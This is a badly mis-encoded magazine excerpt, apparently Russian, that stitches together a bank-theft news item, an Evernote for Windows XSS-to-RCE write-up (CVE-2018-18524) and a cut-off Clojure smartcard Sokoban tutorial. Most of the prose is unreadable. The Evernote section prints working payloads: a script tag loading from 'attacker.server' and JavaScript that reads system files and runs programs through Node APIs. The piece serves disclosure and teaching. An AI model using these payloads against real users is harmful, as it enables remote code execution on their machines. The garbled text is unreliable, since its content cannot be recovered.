???�??�?????� ???????�????�????� ?????�??�??,� ?� ??????� ????????� ???�??
?????�????�??�???燬WIFT.�?�??�??�???????�???�????�???,��?????�???
?????�????�??� ????�?????� ????� ???????� 10� ???�?????� ???�????� ?� ????�?
????�?????�???��???�?�??�??�??�????.
??????�18�???��????�?????????燙OSMOS燘ANK
??�??�??� ???�?� ???�???�???� ?� ???� ???�?.� 11� ???????� ?� 15:00� ??� 22:00� ????�
????�??� �???粻 ?� 28� ????�??� ????� ???�???� ???�?????� ????�?� ??� ????�
???????� ?� ??� ???� ????� ?????� ????� ?????�???� ?????� 15� ?????� ????�?????.
?????�???�?????�?????�??�???�??�??�??�?.
???� ???�????� ????�?� ???????�????� ???�?� ????� ???�????�?� ??� ????�
??????,� ??� ?????� ????,� ?� ????????�??,� 13� ???????,� ????�?� ???38� ????�???
?� ????� ??� ???�?� ????�??� ???�??� ??????�??� ?????� SWIFT.� ????�????�?
??????�?�??�?�??�????�??�????�?�???��????�?�??�???�???�??�??.
???�??�???�??� ???� ???� ????,� ???� ???� ???????�??� ??� ???�?� ?????�?????.
????????�??� ?????�??�?� ???�?� ????�???� ?????�???� ?� ???�???� ????� ??� ?????
????�??�??�????.
????????�????
???�????�?????�??�?�??38�?燬WIFT,�????�?,�??�????�?�????�??�????
???????�????� ???�???� ??????�??.� ?� ???�???�?,� ?� 2016� ????� ????�??�???�?
SWIFT� ???�??�?� ?� ?????�?� ?????� ????�????� ???????�????� ???�????.� ??� ?
??????�????�???� ??????� ???�????�?� ?????�???�??�?� ????� ???�??�??�?.
????� ??� ???� ???�?� ?????�????� ????�????�?� ?� ???�??�??� ???�?,� ???�??�?
????�?????,�??�??�??�???�??�?????�?�??�?�??�???.
?� ???�????� ?????�???�??� ????�??� ???� ?????�??�?� ????�????� ?????�
??????� ?????�??� ?????� ??� ???�?� ???� ???� ???.� ????�???� ???� ?� ????�??
??�???�??�??,�??????�??�???�???�?????�????�???�???�????�??,�????�
???�????燬ony燩ictures��14�???,�??�?�?�??�??�??�?�??�??�??��???�
???????�????�??�?????�???燱annaCry.
????� ????�????� ????�??�???�?� ?????�?� ???�??�???� ??????�??� ??�????
??�9�???�????.��??�???�??�????�?�??�??�??�?????�???�??:爀mail,營P?
????�?,��??�?�??�????�?????�?????�??????�???��??�?�??�??????.
?????�???�??�?�??�??�??�?��??�???�?,�???�??�??�????????� ???�???�
??��????�??�????�???�??�???�??�???�??.
?????
?????????
???????
???��??????燲SS
?????????
????????????�??
?燛VERNOTE
aLLy
ONsec
@iamsecurity
??� ???�???�??,� ???� ??� ???�??� ???� ???�??� ???�????� ?� ????�
?????� ???????� Evernote.� ?� ???�??�???� ???�???�??� Evernote
???� Windows� ????� ???�????� XSS????�??????,� ?� ???????
???????� ???�?� ?????�???� ???�?????�??� ???� ??� ???????
???�???�???�?????�?.
INFO
???�??�??????�?????�?�??燙VE?2018?18524.
Evernote� ?� ???� ????� ??� ???�????�??�??� ?� ???????� ???�????� ???� ???????
???????� ??� ???�??� ??????�????� ?� ???�????????� ???�??�???�??.� ???�?????
????� ????� ??????�?� ???� ?????� ??????� ???� ?????,� ?� ????� 2008� ????.� ??????�
????� ?????� ???�???�?� ????�????� ???�?????�??�???� ???�??,� ????????�???
???????�??�??�???,�????�????,�???�???�?�??�??????�??�?????.
??�??�?� ?????� ???�?� ?????�???� ???�????� ?� ???�???� ???�???� ????.
??????�?�???�??�???,�??????�???�?�??�?��??�??�??�????�???�????�
??????�?.� ???????�??� ????�?????�??� Evernote� ??� ???�??� ??????� ???�????�
??�0�??�?????.�?????�???,�??�???燛vernote�??�????�?�???�???????
????�?????:燗ndroid,爄OS,爉acOS�,�????�?,燱indows.
?� ???�??� ???� Windows� ?� ????� ????�???�?� ???�??????� ????� XSS.� ???�??
?????�???�???� ?� ????�???� ????�??�???�?� ????� ???� ????� ?� ???�???�?� ???
??�??�??.�?�????�???�??�??�??�??�??�??,�??�?燲SS�??�??�??�????�
??�???�???�???�???��??�??�??�????�????�?????�?�?????�??�?.
???�??????� ????�???�?� ????� ???�???� ??????�??� ???� ?????� @sebao,
?� ?????� ??????�?� ?� ???�??�???� ??� RCE� ?????�???�????� ???�????� ???
(Tongqing� Zhu)� ??� Knownsec� 404� ?� ??????�???� ???�???.� ???� ????�??� ????�
??????� ???� ???�??� ???�???�??� ????� ????� 6.16.1.� ?????� ???�?????,� ???� ???
???�?�??�?????.
?????
???� ???� ???�???� ????�?� ???�??� ???�???�??� ???� Windows,� ???,� ???�??�?,
??????�??�?� ???� ??.� ?????�?� ?� XSS� ???�?� ???�???� ???�?� ?� ?????� ???�??
????�15.��???�?????�?????�14.5�???�71.�???�??�?�???�??�??.
???�???�??燛vernote�14.5�??燱indows
???�?� ????� ???� ??� ???�????� ?????�?� ?� ???�?????,� ???� ?????� ????????
??�????�??�??�???�???�16.1.
??�???� ?????� ??????�?� ?� ???�?????� ????� ?� ???,� ???� ?� 6.15� ???�????�???
????�???� ??????�????� ????�???????�???� ???�??:� ????�??�???� ???�???� <,� >
?� ".� ?????�?� ???�???� ?????�?� ?� XSS� ??????�???� ???�???�?� ?� ???�???�??
????�?�?�??�??.
??????�???
???�?� ????�??�?� ???�?� ???????�??�?????�?� ???� ???�?� ?� ????�??,� ????� ??
?� ????� ???� ????.� ???�???� ?????� ?????�?� ?� ???????�???�?� ????� ?????� ????�
?????.
???�????�????�????�?�燛vernote
??�?� ???�?� ???�?????,� ???�??� ???�???�???� ????�???�??�?.� ??????� ????�
??????,� ?� ?????� ???�???� ???�???�??� ???�??� ???�??.� ???� ???�?� ???�??
?�??�???�?��??�??燝eneral��??�??�??�??燛vernote爈ocal�les.
???�???�?燛vernote�燱indows
???�??�?�?????�?�???燨pen燚atabase爁older.�?????�?��??�?��??�???
???�???�???�???_???????>.exb.�??�????�??�?????�??�?�??�??�?�???�
????�???�??�??�????�???�?????��??�???�???燛vernote.�??�???�???�?
?????燞EX??????�????,�??�?�??�???�????�????�??�?.
????�??�???燛vernote
???� ??????,� ??????�??� ????�???,� ???� ???� ????�??� ????� ???�??� ?� ???�???
SQLite�??�??��??�????�??.�????�??�?�??�??�??�??�???�??,�??????
???�???�?�?????�???�???�??.��???�????� DB燘rowser爁or燬QLite.�???�???�
????�?� ?� ?????�???� ????� EXB� ?� ???.� ???�?� ???�??�??� ???�??� ????� re?
source_attr.�????�??�??�?�??�??�??�??�??,�???�?????�??��????�??,
?????�??�???�??�????.
????�???�??�???爎esource_attr��??�?�??�???燛vernote
?�???爁ile_name�??�??�?�??????�??�???�?.�??�??�?�???�???��????
?????�?,� ???�???� ???�??� ????�??� ????� ??� ???�????� ?� ???�??� Rename.
???????�
?????�
??????�
?????�
????????�??,�
???�????�
"爋nclick="alert('XSS')">.jpg.
??�??�???燲SS????�???�???�?�??�?�??�????
??�???�??�????��???��??�?�??�?????�?�???爁ile_name.
????�???�??�???爎esource_attr�??�?�???�??�???�??�??�????
??�???�???�????�?�??�?????�????�?��???�??�?�??�????.
???�????燲SS�燛vernote
???!� ???�???� ?????.� ???� ???�???�??,� ??????� ???� ?� ?????�???� ??????�???�?
???�????� HTML� ???� ???�?????�????� ???�??.� ???� ?????� ???�?� ???�????�??
???�???� ?� JavaScript� ?� ???�???� ?????�?????�???� ????�???.� ???�?
????????�?��?????�??�??�?燛vernote��??�?,�??�??�????�??,�?????�??
???�????.
<span>
牋<div><img爏rc="en?resource://database/392:0"爐ype="image/jpeg"�
data?filename="Mia.jpg"/></div>
牋<div><br/></div>
</span>
????�???燞TML��?????�??�??�?燛vernote
????�?爀n?resource://database/392:0�??�???�?�?�????�燯ID�2��???.
???�?�????�???,�??�???�??�????.��???�???� data?filename��??�??
??�???爁ile_name.�???�?�???�?�???�???�??�???.
<img爏rc="en?resource://database/392:0"爐ype="image/jpeg"�
data?filename=""爋nclick="alert('XSS')">.jpg"/>
??�??�????�????��???�???�???.
??�?� ??� ??????�????� ?????� ?????� ???�??,� ?� ???????� ???� ????�??�???
????�???????�???�???��???�?�??�???�??�????�燲SS,�?�?????�???�???
????爁ile_name�??�????��??�???��??�???�??�????.
??�??�??�???�???�??�??�???��????�???�??�??�??�??�??�??�??:
"><script爏rc="http://attacker.server/xss.js">.jpg
??�???� ???� ??� ???�??�?� ???�??� ???� ???�???� ???,� ???�?� ???�???????� ??????
?????.
??燲SS�?燫CE
??�??�???�?,�?�?????�?????�?????�????�???�?????�??�??燲SS,�?�??
???� ???�?� ????????� ???�??� ?� ??????????� ????�???????�???� ???�??� ??????�
????�???� ??� ???�???.� ???�??� ???� ???�??????� ???�???�?????�?� ???�???
??????�?� ?????�???�?� API� (evernote.openAttachment,� goog.loadModule?
FromUrl),� ??� ?????�????.� ??� ??????� ?????�??????�?� ????????� ?� ????� ????�
?????�??��????�???,�?�??�???�???????????�??�??�??�??�??�??�???�
???.�??????�?�????�???�??????�??�????�??.
???� ????�????�?� ????�??????� ????� ??????� ???�???� ????????�?� ?� ????�
???� Evernote.� ?� ???�?,� ???� ????�??�??� Evernote,� ???�?� ????�?????� ??????�
?????� NodeWebKit.� ?� ???� ???�?????�???� ???�???�??� Node?Webkit,� ???????
???�??� ??????�???� ????�?� NW.js.� ???� JavaScript?????�????,� ???????� ????�
????�?� ???�?????� ??????????�?????�??� ???�???�??� ???�???�??� ???� Win?
dows,� macOS� ?� Linux� ???� ??????� ???????�??????� ??� ????� Node.js� ?� ????�?
Chromium.� ???� ???????� ??????� ??????�???� Electron.� NW.js� ???�???�?
????????�?????燦ode.js�????�???�???�?�?燚OM.�??�??�??�???�???,�??
????� ??� ???�??,� ???� ??????�???�?� ????� ????�????,� ??� ???�??� ?????� XSS
?????�???�???�??�???�??�?燦ode.js.
?�??????,�??�?�?????�?�??�??�?,�??�??�?燦W.js�?????�?�????�???�
???�????�(Present).
??�??�??�??�????�燛vernote
???� ???�???????�???,� ??� ?� ????� ????� ????�????�?????� ???�?� ????�???�?.
?????�??�??�?�???�???�???�???燲SS???.
XSS�?????�?���?????�??�??�????
?� ??????�??,� ?????�?� ??????�?????� ????�??�???� ???�???� ????� require(
'child_process').exec�??�?????�??�?????�??�???�????�?�???�?????
????�??.� ???�???�??� ???�??�???� ????�?� Module� name� "child_process"�
has爊ot燽een爈oaded爕et.
xss.js
1:爐ry爗
2:牋牋爎equire('child_process').exec('ls');
3:爙
4:燾atch(err)爗
5:牋牋燼lert(err);
6:爙
??�??�?�??�??�??�??燫CE�燛vernote�?�??�???
???�?� ???�?????� ??????� ???�??.� ?� ??????� ???� ????� ????�??�??� ??�???
??� ???�????�?� ?� math.js.� ??� ????� ??� ?????� ??????� ????,� ???????� ???�???�?
??????�??�?�?�??????�??�???.
xss.js
1:爐ry爗
2:牋牋爒ar燽uffer�爊ew燘uffer(8192);
3:牋牋爌rocess.binding('fs').read(process.binding('fs').open('..\\..\
\..\\..\\..\\..\\..\\Windows\\win.ini',��00),燽uffer,��96);
4:牋牋燼lert(buffer);
5:爙
6:燾atch(err)爗
7:牋牋燼lert(err);
8:爙
???�??�??�??�?�??�??�??�?????�????燛vernote燩resent
?,� ???�???� ??????�??� ?� ??????�?� ???�???,� ???�?� ??????�?� ???�??�???
?????�????�???.
xss.js
01:爐ry爗
02:牋爏pawn_sync�爌rocess.binding('spawn_sync');
03:牋爀nvPairs�燵];
04:牋爁or�(var爇ey爄n爓indow.process.env)爗
05:牋牋爀nvPairs.push(key�+�'='�+爓indow.process.env[key]);
06:牋爙
07:牋燼rgs�燵];
08:�
09:牋燾onst爋ptions�爗
10:牋牋爁ile:�'C:\\\\Windows\\system32\\calc.exe',
11:牋牋燼rgs:燼rgs,
12:牋牋爀nvPairs:爀nvPairs,
13:牋牋爏tdio:燵
14:牋牋牋爗爐ype:�'pipe',爎eadable:爐rue,爓ritable:爁alse爙,
15:牋牋牋爗爐ype:�'pipe',爎eadable:爁alse,爓ritable:爐rue爙,
16:牋牋牋爗爐ype:�'pipe',爎eadable:爁alse,爓ritable:爐rue爙�
17:牋牋燷
18:牋爙;
19:牋爏pawn_sync.spawn(options);
20:爙
21:燾atch(err)爗
22:牋牋燼lert(err);
23:爙
????�??� ???�??�??,� ??� ????�?� ???� ?� ????� ???� ?????,� ?????�?,� ???�???
???????�???�??�?燦W.js,��????�????�?�????�???�??�??�??�??�???�?
??�????.��???�???�?�???�??�?????�??????� Shell.��??�??�???�????�
??� openItem.� ??� ???�???�?� ?????�???� ???�?� ?� ???�???� ?� ???�??�??� ?� ????�
????�??� ????�????.� ???�????,� ????� ?� ???�????� ?????�???� gui.Shell.
openItem('test.txt');,�?�??�???�????�?� test.txt��????�???�??�???�
???�????�???.�????�???�?,�??????�???�??�?�???�??�?�???????�???
???????.� ??????�?� ???�??�???� nw.gui� ??� ???�?,� ???� ???� ???� ???� ???�???
??�??.
C:\Program燜iles
(x86)\Evernote\Evernote\NodeWebKit\present\index.html
411:牋牋�script>
412:牋牋牋牋爄f�(window.require)爗
413:牋牋牋牋牋牋爓indow.gui�爎equire('nw.gui');
414:牋牋牋牋牋牋爓indow.nodeRequire�爓indow.require;
??�???�?�???�?�??�???�????��??�???�??????�???.
xss.js
1:爐ry爗
2:牋牋爓indow.gui.Shell.openItem('calc');
3:爙
4:燾atch(err)爗
5:牋牋燼lert(err);
6:爙
???�??�??�????�????�??�?????�???�???�燛vernote�????燲SS
??�????,� ??,� ???� ??� ???� ?� ?,� ????�??� ???�????� ??� window.require� ?� ????
????�???� index.html.� ????� ???�??� ?????� ????�??????�?� window.
nodeRequire.� ?� ??,� ???� ????�?� ??,� ?� ???� ??� ???????,� ?� ?????�???� require
??�??�???燦ode.js.�????�?�??�???�??�???�?????�??�??�??�??�??�????�
??,�??�????�?�???�?�???�????.
xss.js
1:爐ry爗
2:牋牋爓indow.nodeRequire('child_process').spawn('ls').stdout.on(
'data',爁unction�(data)爗alert(data);爙);
3:爙
4:燾atch(err)爗
5:牋牋燼lert(err);
6:爙
???�???�????燫CE�燛vernote��??????爓indow.nodeRequire
????�?�??�????�?�???�??�????�???�?�??�???!�)
????,� RCE� ?� ???� ????.� ??????� ???�?� ??????� ???�?????� ??� ??� ????.
???� ?????� ????�??� ???,� ???� ???� ????� ??� ????????� ???�???� Evernote� ?
???�??�???????�??�??�?�??????.
???�???�??�????�??�????�?�燫CE�燛vernote
?� ??� ???� ?????� ????�????� ???�?????� ???�??� ?????�???� ?????� ???�??�????
?�??�???�?��???�?????��??�??�??�??�??�???�??.
????????????�?????????�(?????)
?????
????,��??????�??�??�??�???燛vernote�???�???�??�??�??????.�?�?????�
????� ????�?????� XSS� ?� RCE� ?� ????� ???????�?� ???�??�?,� ???�???� ??????�
???????�?�???�?????�??燦W.js.
???�????�???� ???�??� ????�??�???�?� ??� ??????,� ??� ???�??� ???�??� ????�
????� ????�?� ???�???????� ???�?????� ?????�?� ?� XSS,� ???,� ???� ??� ????�???
????,� ???�?� ???�?� ????�?.� ???�????� ???�??�???� ????�?????�?� ?� ?� ?????
???�???�??�???�??�???�??,�?????�?�16.
??�????� ????�?� ???�???�?� ???????� ???�????�???� ?????�???� ????�??????�
???�???.�??�?�???�?????�???�)�????,�???�?�?�??�???�??�???????
???�?�??�??�??�??�?????�???�??.�??�?��????�???�???!
?????
?????????
SOKOBAN
??????????��??????????
??????�燙LOJURE
15?16�???�?��??�??�???�?�??�?????�
???� OFFZONE� Moscow,� ???� ????�??�??
??????� ????�??????� ?????????�?� ?� ?????�
??????� ???????� ??� ??????�??� ???�??� ?� ??
???????.� ???� ???????� ????� ?????� ????�
?????�?� ???�??�??,� ???????� ???�?� ????
????�?????� ???� ??????� ??� ????�?????
??????.� ??� ???�?� ?????�?????� ??�???�?
???????� ?� ????� ???????�???� ???�??????�
????�??�?,� ?� ???????� ???????� ???�?
?????�???� ???�???� ?????�??,� ???????�??
??�??�?.�??�????�??????�?�????.
??????�????
????????????�?????
??????????
?????????????????
??????????燩T燗pplication
Firewall,燩ositive燭echnologies
?????? Clojure?
???� ???????� ???�?� ????�???????� ?????� Python????�????�?� pyscard.
??� ??????� ??????� ????� ??????� ?????�?� ???�??�?????,� ??????�??� ???�?????�
???燫EPL燿riven燿evelopment,��??�??�????�?????燙lojure.
?????????�?????????
??�?????�??��???,�??��????��??�?????�?�????�??�??�??�,� ??�???�??
??????�??� APDU??????�?� ???�???�?� ISO/IEC� 7816,� ?????�???� ???????
?� ????�??????� ?????????�?,� ???????� ????� ??????� ????� ????�??�??� ????�?
?�??�??�?.�??�??�????�???�?�????�???燩HDays燰,�??�?�,�??�???�??
??????�???� ???�????�??,� ????�?� ???????� ?� ????�?� ?� ????�??�??�???�???,
???�????� ??????� ?????� Wireshark,� ??� ????� ???????� ????�??� ?????�??�????
???�???�?營EC�850�?燬capy,��?�??�?????�???�????�?��???�???燚oS?
???�?�??�?�???�?燬CADA�(??�???�?�???�???�??????��??�?,�????�?�?,
??�??�????).
?�???�??��????�??�???????�??�?�??�?�????:��??�??�???�????�
???�????�???????� ?� ???�???�??,� ???�???????� ??????� ????� ??� ???�???�???�
???� ??????� ??� Python,� ??????�??� ???�????�?� pyscard,� ???� ???????�?????
????�???�???� ???�????�??,� ?� ?????� ????????� ???� ??????�??� ??????,
???????�??????�?.��??�??�???�???��????,�??�???�??�??????�?�???,
??�???�??�?????�?�???�??�??�??.
?� ???�?� ??� ???�??� ????� ??� ????� ???�?� ???�???�?� ???�??� ???�??� ??????�
????�0�??�??�???�?????�?????,�??�??�?????�??�???��??�????�??
?�??�???�??,�??�??�????��??�?????�??�??�??,��??�?�?????�??????
???�????�?�?燙lojure,�??????��??????��??�??�??�????�??.
???????
??�??�??�????�?????�?�(??�??�??�?????�???��????�??�???��??�?,
??� ??????�?� ?� ???�????,� ??� ??� ?????� ??????,� ???� ????�????� ????� ???�?
??�?????)��???�????�??�??�?�??�??�??燰ault燱arehouse燤anagement燬ys?
tem�(??�?牜???�??�??�,�?�?牜???�??�???�,�?�?牜??�????�).�??�????�
?????�????�??� ????,� ?� ???????� ???�?� ???�???� ????????� ?????�?� ?� ???�????�
???� ?????� ????�??,� ???�?� ???� ????�?� ??� ????�????�??�??� ???� ???� ?� ????�
????????????�?�??�?,��??�???�?�??�?????�???�??�????�????�?,�???�
???�?�??�??�?��??�??.
???� ???� ??????�??� ?� ?????�?� ???�?� ???�??�????�?� ??????� ??????:� ????
???� ??????�??� ??????�?� ???�?????� ????,� ??????� ?????�?� ???�????� ???�???�
????� ??� ????� ????�?� ?� ?????� ??� ???�??,� ?� ???�?� ?????�?????�??� ?????�?
????�?� ????,� ???�??� ?� ???�??�?� ???�?.� ???????� ???� ?????�?� ?� ???�?� ?????
???�??�??,� ???�?� ?????�???� ???�?� ?� ???�??� ???????.� ???�?� ??� ????�??????
???�?�???�?????�?�??�???�?.��???�??�??�??�????�????�?�???�??,
??� ???� ???�??� ???�?� ????� ??????� ????????� ??????� ????� ???�???�?????�?
???????�??�????�(?�??��??�??�?�???�???�?).
??�??�?� ???????� ???�???�?????� ???� ???????� ???� ????.� ???� ????� ???�?� ?????�
????� ?� ???,� ?� ???�????� ???�?� ?????� ???�???????� ????�????,� ????????� ???,
?????�???�??�???�??��??�???�???�???.
???????�????????
???�?�???????�??�???????�??�??�??�???�???��??�??�????�,�???�????�
????�?,�???�??????�????????�??,�??�?�???�?????�???�??????�???�???�
????� ????�??????.� ?� ?????�??� ???�??�???�?� ?� ??????�??� Fedora,� ?????�?
???�???�????�?�????�???�???�?,�?�????�???�???�??�??�?�??�?.
???�???�???�??�?????��????�???燩CSC燣ite��????��??�???�??�???�
????�??�??????�??�??�??.�???�???�??�?????�??:
sudo燿nf爄nstall�y爌csc?lite爌csc?tools
sudo爏ervice爌cscd爏tart
??�??�?????�??� ??????�??�?� ???� ????�??�?????� Leiningen� ???� ??� ???????�
???�?,� ??� ????� ??� ??????�??�?� ???�?????� ??????� ???�????�??� ??� Python,� ??
???????�??� ??� ??????�?????�?� ?� ????�??�??� swig,� redhat?rpm?con?g� ?� ????�
????,��??�?????爌yscard�?�????�???�????�???�??�??�??�??�???�?:
sudo燿nf爄nstall�y爌ython2?pyscard爌ython3?pyscard
??�????.� ??????� ????�??� ???�??�??� ?� ????�?� USB� ?� ?????�??� ???�???
???�???�?�???????�?????????:
pcsc_scan
?�??�??�???�?�??�????�?�???�??????�????????�?��????�?????�?�???�
????�?????�????:
???�???�?�??�???�?????�?燙?c��???�???�?��?????�??�???�???.
?????�??
???� ?� ???�?????�??,� ???� ??� ???�??????� ????�????� ?� ???�??� ???�?� Clojure爁or
the燘rave燼nd燭rue,�??�?�??�???????�?��????�??�??�??�???�????�????�
???燙lojure.
?� ?????�???� ????�?� ???�????� ?????� ???�???�??� ?� ???�?� ?� ???�???�?
?�????�??��???:
lein爊ew燼pp爏card?sokoban
cd爏card?sokoban
???� ???� ?� ??????�??� Fedora,� ??� ???� ?????� ???�??�???�?� ????�?????� ???�???
????�/usr/lib64/libpcsclite.so.1��??�???�???�??�????�?�??�???????�
???� ?????????�???� ?� ???�?????� ???�?,� ???????� ???� ?� ???�?????� ????�???
sun.security.smartcardio.library�(?�??�?????�??�?�???�???�?�??�?
jvm?opts).� ???�?� ?� ?????�??� ?????�?????�??� ??????�??�?� org.clojure/
tools.namespace�??燫EPL燿riven燿evelopment�� jline�??�??�??�??�????
?� ???�????�?.� ???�?� ???�??�??� ????�????� ???� ????� project.clj� ???�????
???:
(defproject爏card?sokoban�"0.1.0?SNAPSHOT"
�description�"FIXME:爓rite燿escription"
�url�"http://example.com/FIXME"
�license爗:name�"Eclipse燩ublic燣icense"
牋牋牋牋牋�url�"http://www.eclipse.org/legal/epl?v10.html"}
�dependencies燵[org.clojure/clojure�"1.8.0"]
牋牋牋牋牋牋牋牋[org.clojure/tools.namespace�"0.2.11"]
牋牋牋牋牋牋牋牋[jline�"0.9.94"]]
�jvm?opts燵"?Dsun.security.smartcardio.library=/usr/lib64/libpcs
clite.so.1"]
�main燸:skip?aot爏card?sokoban.core
�target?path�"target/%s"
�profiles爗:uberjar爗:aot�all}})
REPL燿riven燿evelopment
???� ?????� REPL� driven� development?� ???� ???�????�??� ???�??� ?� ???�????
????�??�??�?�???�??????,�??????�??�?????�???�??�????�?�??�??????�
???�?� ???�?????�?????� ????�????,� ???�?� ????� ?????�??�????� ???�????
???�??�??��??�??�???�????,��??�??�??????�???��????�???�??�????�
????�??�?�??�???�?��??�????�????�????�?�??�???�??.�??�????��??,
???�??�????��?????�??�???�??�?�???�?�??�??�???????�????�??�??,
???�????��???��??�?�?????�??�????.
?� ???�?� src/scard_sokoban/core.clj� ???�????� ????????�??� boiler?
plate� ???� ????,� ???�?� ?????� ???�?� ????� ???�???�??� ?????�???� ???�???,
???????��??�?�??????�???�????.
(ns爏card?sokoban.core
�(:import�(javax.smartcardio燭erminalFactory
牋牋牋牋牋牋牋牋牋牋牋牋牋牋燙ommandAPDU)
牋牋牋牋牋(jline燭erminal))
�(:gen?class))
??�?????�?�??????�???�??�??�??�???�??燡ava:� Terminal�??�???�??�?
???????�??�??��??�???�?�?�?????� javax.smartcardio.�??�???�??�?
???�??� ?????�??�?????� ??� ???????� ?� ?????�???� ???�????� JVM.� ?????,
???�?????�?�????????�???�??�?�???�?�??????�?????�??燡ava?????�?
?�??�?�?�?????�?????�?��?????�???�?��?�??�???�?.
?�??�?�????�???燛macs��??�????�?� C?x燙?s��????�??�??�???�??
?� ???????� CIDER,� ??????�??� ??????�??� C?c� M?j,� ???� ???????� ?????�?
cider?jack?in� ?� ?????�??� (????�???????�?� ???�??� ??????�??�?)� ???�????�
???,� ??????� ???� ????� ?????� REPL.� ?????�?????�?� ???�?� ???????� ??????�
??????�??�燫EPL�??�?�?�?????�??燙?x爋��??�????�??�??�????,�???�
??�??�???�?��????�????�?????�??�??�??��??�??�???�??�????�?????
???�???�??.� ???� ???�??� ?????�????� ???�???� ???�??�??�????� ?� REPL� ?????�
????�?� ?� ???????�??� ???�??�???�???????�?� ?� ???????�???�?� ?� ???�??
?????�???��??�????燙lojure�??�???.
??�???��??�??
???�?????�?�????????�??�??�??�?�?????�??�????�?????�??�??????
???????�??�??�???�??燡ava,�??�?�???�??�???????�???�?????�?????�??
??� ?????� ???� ???� ???�??� ???????� ?� ??� ??????� ???� ??????.� ?� ?????�??
?�????�??�??�?�???�??�????�????:
(defprotocol燬martCardProto
�(disconnect燵card])
�(transmit燵card燿ata])
�(select?applet燵card燼id]))
(def燸:dynamic�*select?cmd*燵0x00�A4�04�00])
(defrecord燬martCard燵conn燾hannel]
燬martCardProto
�(disconnect燵card]�(.disconnect燾onn爁alse))
�(transmit燵card燿ata]�(.transmit燾hannel�(?>燿ata
牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋byte?array
牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋(CommandAPDU.))))
�(select?applet燵card燼id]�(let燵select?management�*select?cmd*
牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋燿ata�(concat爏elect?management
牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋[(count燼id)]
牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋aid)]
牋牋牋牋牋牋牋牋牋牋牋牋牋牋�(.transmit燾ard燿ata))))
(defn爂et?smartcard燵]
�(let燵terminal?factory�(TerminalFactory/getDefault)
牋牋牋爐erminal�(?>爐erminal?factory
牋牋牋牋牋牋牋牋牋牋.terminals
牋牋牋牋牋牋牋牋牋牋.list
牋牋牋牋牋牋牋牋牋牋first)
牋牋牋燾onn�(.connect爐erminal�"*")
牋牋牋燾hannel�(.getBasicChannel燾onn)]
牋�(?>SmartCard燾onn燾hannel)))
???�????�???�?燙?x燙?s,��??????��?????燫EPL�???�????
:reloading�(scard?sokoban.core爏card?sokoban.core?test)
???� ???�??,� ???� ???�????�??� ????� ????�???�??�?� ???�????�?� ?� REPL
???� ???�??� ?� ???� ???�?� ???�???� ??� ????� ???�???� (get?smartcard)� ?� ????�
???????�?????�??.
???�?� ???�??�??� ?????�??,� ???� ??????� (get?smartcard)� ???�???�??
????�?� PCSCException� SCARD_E_NO_READERS_AVAILABLE?� ???� ????�??�??
???�??�???,�?�?�????�?????�??�?�燩CSCException燬CARD_E_NO_SMART?
CARD.� ????� ???� ????�?� ????�?,� ??� ???�????� ??????� ????� scard_sokoban.
core.SmartCard,� ???????� ???�?� ???�??�???� ??????�?????� ???� ???�??�???�
?????��??�??.
???�????�?????�??�????�???�??�???� select?applet�??�?????�?????�
??��??�?�(??��????�??�???�??�?�?????�???��???�??�???�??�??燗ID�
applet� ID),� ???�???� transmit,� ????� ??????�???� ???�??� ???�??� ???� ??????
??????????� ???�???� ?????�?� ???�?,� ?� ???�???� disconnect� ???� ?????�????
?????�????.
??�??�????
??�??�?�??????�??�????�????�???,�??????�????�????�???�??�???
???�????,� ?� ?????� ????????� ???�?????� ???�?� ??� ?????????�?.� ???�????� ??
???�?????�???�??:
(defn燽ytes?to?str燵data]
�(apply爏tr�(map燾har燿ata)))
(defn爏okoban燵&燵function]]
�(let燵card�(get?smartcard)
牋牋牋爎esult�(atom爊il)
牋牋牋燼id燵0x4f�46�46�5a�4f�4e�45�32�10�01]
牋牋牋爂et?state燵0x10�30�00�00�00]]
牋�(.select?applet燾ard燼id)
牋�(when爁unction
牋牋�(reset!爎esult�(function燾ard)))
牋�(doall�(for燵line�(?>>�(.transmit燾ard爂et?state)
牋牋牋牋牋牋牋牋牋牋牋牋牋.getData
牋牋牋牋牋牋牋牋牋牋牋牋牋bytes?to?str
牋牋牋牋牋牋牋牋牋牋牋牋牋(partition�)
牋牋牋牋牋牋牋牋牋牋牋牋牋(map�(partial燼pply爏tr)))]
牋牋牋牋牋牋(println爈ine)))
牋�(.disconnect燾ard)
牋燖result))
???�???� sokoban� ???�????�???�?� ?� ??????????�?,� ??????�?� ??????,� ?????�
??????�??�?????�?�??�??�?????�???�???�???�????�?????,�???�????�?
??????�?�??�???�?�???�??�?,�???�?�??�?,�?��??????��??�??�???�?
(???�?��?�,��???�??�???�?�?�??�?.�??????�?�??�???�??�??,�??�?
???�??????,�??�??�????�??�?.
??�???� ???�?� ????????� ???�???� ???�????� (???�?� ??� ???�???????� ????� ?
?� ????� ???�???)� ?� ????�?� ???�?� (???�??,� ???????� ???�?� ??????�???� ?� ????�
????,�??�???�??�?,�??��???�??????,��?�??�?�????�?????):
(defmacro燿efdirection燵function燽yte]
燻(defn爚function燵card#]
牋牋(.transmit燾ard#燵0x10�20�00�00�01爚byte])))
(defdirection爈eft�61)
(defdirection爎ight�64)
(defdirection爑p�77)
(defdirection燿own�73)
(defn爎eset燵card]
�(.transmit燾ard燵0x10�40�00�00�00]))
???�?� ???�?� ???�?� ??� REPL� ??????�???� ???�??� ???????�??� ???� ???�???
???�????�??� ?� (sokoban� left)� ???� ????�?� ????� ?� (sokoban� reset).
??�???�??�?�???�?��????�???,�??�??�??�?????�??????��??????
???�?�????�?????,�?�??�??�?�?????�?????�???,�?�????�??�??????
???�???�main:
(defn�main燵&燵steps]]
�(let燵term�(Terminal/getTerminal)
牋牋牋爎emaining?steps�(atom爏teps)]
牋�(while爐rue
牋牋�(print�"\033[H\033[2J")
牋牋�(sokoban�(case�(if燖remaining?steps
牋牋牋牋牋牋牋牋牋牋牋(let燵[next?step�&爋thers]燖remaining?steps]
牋牋牋牋牋牋牋牋牋牋牋牋(reset!爎emaining?steps爋thers)
牋牋牋牋牋牋牋牋牋牋牋牋(case爊ext?step
牋牋牋牋牋牋牋牋牋牋牋牋牋\u�5燶U�5燶l�6燶L�6
